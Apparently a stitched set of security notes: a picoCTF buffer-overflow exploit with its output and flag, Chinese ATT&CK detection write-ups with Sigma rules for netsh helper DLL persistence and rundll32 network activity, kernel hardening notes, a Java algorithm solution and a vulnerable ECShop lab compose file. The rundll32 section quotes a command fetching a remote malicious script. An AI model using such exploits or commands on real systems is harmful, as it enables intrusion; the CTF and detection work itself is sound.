/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000) import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start(argv = [cyclic(200)]) flag = io.recvline() log.success(flag) ``` Output: ```console root@kali:/media/sf_CTFs/pico/OverFlow_0# python exploit.py [*] '/media/sf_CTFs/pico/OverFlow_0/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.lSY6SM2udh' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7' [+] Starting remote process '/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7/vuln' on 2019shell1.picoctf.com: pid 1788162 [+] picoCTF{3asY_P3a5y40407786} ```
sec-knowleage
# T1546-007-win-通过netsh key持久化 ## 来自ATT&CK的描述 攻击者可以通过执行Netsh Helper DLL触发的恶意内容来建立持久性。Netsh.exe是一个管理员可以用来在命令提示符处配置并监视基于Windows的计算机的工具。使用Netsh.exe工具,可以将输入的上下文命令定向到适当的帮助器,然后帮助器将执行命令。帮助器是个动态链接库(.dll)文件,它通过提供配置、监视和支持一种或多种服务、实用工具或协议,来扩展Netsh.exe工具的功能。 已注册的netsh.exe帮助程序DLL的路径在Windows注册表HKLM\SOFTWARE\Microsoft\Netsh中 攻击者可以使用netsh.exe帮助程序DLL以持久的方式触发任意代码的执行。该执行将在执行netsh.exe的任何时间执行,该操作可能会自动发生,使用另一种持久性技术,在执行netsh.exe作为其正常功能的一部分的系统上存在其他软件(例如VPN)的情况下。 ## 测试案例 建议参考Bypass师傅的[Window权限维持(十):Netsh Helper DLL](https://zhuanlan.zhihu.com/p/108020339) ## 检测日志 windows sysmon日志 ## 测试复现 建议参考Bypass师傅的[Window权限维持(十):Netsh Helper DLL](https://zhuanlan.zhihu.com/p/108020339) ## 测试留痕 当执行“ 添加帮助程序 ”命令以加载DLL文件时,将在以下位置创建注册表项。 ```yml HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh ``` ## 检测规则/思路 ### sigma检测规则 ```YML title: 通过netsh key持久化 status: experimental description: 攻击者可以使用netsh.exe帮助程序DLL以持久的方式触发任意代码的执行 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1546.007/T1546.007.md#atomic-test-1---netsh-helper-dll-registration - https://eqllib.readthedocs.io/en/latest/analytics/5f9a71f4-f5ef-4d35-aff8-f67d63d3c896.html date: 2020-11-29 tags: - attack.t1546-007 author: 12306Br0 logsource: product: windows service: sysmon detection: selection_registry: EventID: 13 #创建注册表值 sysmon日志 Registry_path: "*\\Software\\Microsoft\\NetSh\\*" condition: selection level: medium ``` ### 其他建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1546-007 <https://attack.mitre.org/techniques/T1546/007/> Window权限维持(十):Netsh Helper DLL <https://www.cnblogs.com/xiaozi/p/11834533.html>
sec-knowleage
# 51. 数组中的逆序对 [NowCoder](https://www.nowcoder.com/practice/96bd6684e04a44eb80e6a68efc0ec6c5?tpId=13&tqId=11188&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 在数组中的两个数字,如果前面一个数字大于后面的数字,则这两个数字组成一个逆序对。输入一个数组,求出这个数组中的逆序对的总数。 ## 解题思路 ```java private long cnt = 0; private int[] tmp; // 在这里声明辅助数组,而不是在 merge() 递归函数中声明 public int InversePairs(int[] nums) { tmp = new int[nums.length]; mergeSort(nums, 0, nums.length - 1); return (int) (cnt % 1000000007); } private void mergeSort(int[] nums, int l, int h) { if (h - l < 1) return; int m = l + (h - l) / 2; mergeSort(nums, l, m); mergeSort(nums, m + 1, h); merge(nums, l, m, h); } private void merge(int[] nums, int l, int m, int h) { int i = l, j = m + 1, k = l; while (i <= m || j <= h) { if (i > m) tmp[k] = nums[j++]; else if (j > h) tmp[k] = nums[i++]; else if (nums[i] <= nums[j]) tmp[k] = nums[i++]; else { tmp[k] = nums[j++]; this.cnt += m - i + 1; // nums[i] > nums[j],说明 nums[i...mid] 都大于 nums[j] } k++; } for (k = l; k <= h; k++) nums[k] = tmp[k]; } ```
sec-knowleage
### 信息泄漏关于dmesg_restrict介绍 考虑到内核日志中可能会有一些地址信息或者敏感信息,研究者提出需要对内核日志的访问进行限制。 该选项用于控制是否可以使用 `dmesg` 来查看内核日志。当 `dmesg_restrict` 为 0 时,没有任何限制;当该选项为 1 时,只有具有 `CAP_SYSLOG` 权限的用户才可以通过 `dmesg` 命令来查看内核日志。 ``` dmesg_restrict: This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel's log buffer. When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict. ``` ### 信息泄漏关于kptr_restrict介绍 该选项用于控制在输出内核地址时施加的限制,主要限制以下接口 - 通过 /proc 获取的内核地址 - 通过其它接口(有待研究)获取的地址 具体输出的内容与该选项配置的值有关 - 0:默认情况下,没有任何限制。 - 1:使用 `%pK` 输出的内核指针地址将被替换为 0,除非用户具有 CAP_ SYSLOG 特权,并且 group id 和真正的 id 相等。 - 2:使用 `%pK` 输出的内核指针都将被替换为 0 ,即与权限无关。 ``` kptr_restrict: This toggle indicates whether restrictions are placed on exposing kernel addresses via /proc and other interfaces. When kptr_restrict is set to 0 (the default) the address is hashed before printing. (This is the equivalent to %p.) When kptr_restrict is set to (1), kernel pointers printed using the %pK format specifier will be replaced with 0's unless the user has CAP_SYSLOG and effective user and group ids are equal to the real ids. This is because %pK checks are done at read() time rather than open() time, so if permissions are elevated between the open() and the read() (e.g via a setuid binary) then %pK will not leak kernel pointers to unprivileged users. Note, this is a temporary solution only. The correct long-term solution is to do the permission checks at open() time. Consider removing world read permissions from files that use %pK, and using dmesg_restrict to protect against uses of %pK in dmesg(8) if leaking kernel pointer values to unprivileged users is a concern. When kptr_restrict is set to (2), kernel pointers printed using %pK will be replaced with 0's regardless of privileges. ``` 当开启该保护后,攻击者就不能通过 `/proc/kallsyms` 来获取内核中某些敏感的地址了,如 commit_creds、prepare_kernel_cred。
sec-knowleage
# T1218-011-win-通过Rundll32的异常网络链接 ## 来自ATT&CK的描述 Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。 Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。 Rundll32也可用于执行JavaScript等脚本。可以使用类似于下面的语法来完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" 。这种方法已被恶意软件如Poweliks所使用。 ## 测试案例 Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。 说明:Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Rundll32调用。 windows 2003默认位置: ```bash C:\Windows\System32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe ``` win7默认位置: ```bash C:\Windows\System32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe ``` 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 windows 安全日志(需自行配置) ## 测试复现 识别rundll32.exe进行出站网络连接的异常行为。这表明可能存在攻击活动,并可能认识恶意DLL。 ## 测试留痕 可参考:[T1218-011-win-基于白名单Rundll32.exe执行payload](https://github.com/12306Bro/Threathunting-book/blob/master/%E6%89%A7%E8%A1%8C/T1218-011-win-%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Rundll32.exe%E6%89%A7%E8%A1%8Cpayload.md) Examples of 5156 ```yml The Windows Filtering Platform has allowed a connection. Application Information: Process ID: 1752 Application Name: \device\harddiskvolume1\windows\system32\dns.exe Network Information: Direction: Inbound Source Address: 10.45.45.103 Source Port: 53 Destination Address: 10.45.45.103 Destination Port: 50146 Protocol: 17 Filter Information: Filter Run-Time ID: 5 Layer Name: Receive/Accept Layer Run-Time ID: 44 ``` ## 检测规则/思路 ### sigma ```yml title: 检测通过Rundll32的异常网络链接行为 description: 通过windows日志来检测通过Rundll32的异常网络链接行为 status: experimental references: - https://www.elastic.co/guide/en/siem/guide/current/unusual-network-connection-via-rundll32.html tags: - attack.defense_evasion - attack.execution - attack.T1085 - attack.TA0002 date: 2020/12/2 logsource: category: process_creation product: windows detection: selection1: EventID: 5156 Process.name: 'rundll32.exe' #Application Name selection2: Destination Address: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 condition: selection1 and not selection2 level: low ``` ### Elastic rule query ```yml process.name:rundll32.exe and event.action:"Network connection detected (rule: NetworkConnect)" and not destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or 127.0.0.0/8) ``` ### 建议 通过进程监控来检测和分析rundll32.exe的执行和参数。比较rundll32.exe的近期调用与历史已知合法参数及已加载动态链接库来确定是否有异常和潜在的攻击活动。在rundll32.exe调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。 ## 参考推荐 MITRE-ATT&CK-T1218-011 <https://attack.mitre.org/techniques/T1218/011/> 通过Rundll32的异常网络链接 <https://www.elastic.co/guide/en/siem/guide/current/unusual-network-connection-via-rundll32.html>
sec-knowleage
version: '2' services: ecshop27: image: vulhub/ecshop:2.7.3 depends_on: - mysql ports: - "8080:80" ecshop36: image: vulhub/ecshop:3.6.0 depends_on: - mysql ports: - "8081:80" mysql: image: mysql:5.5 environment: - MYSQL_ROOT_PASSWORD=root
sec-knowleage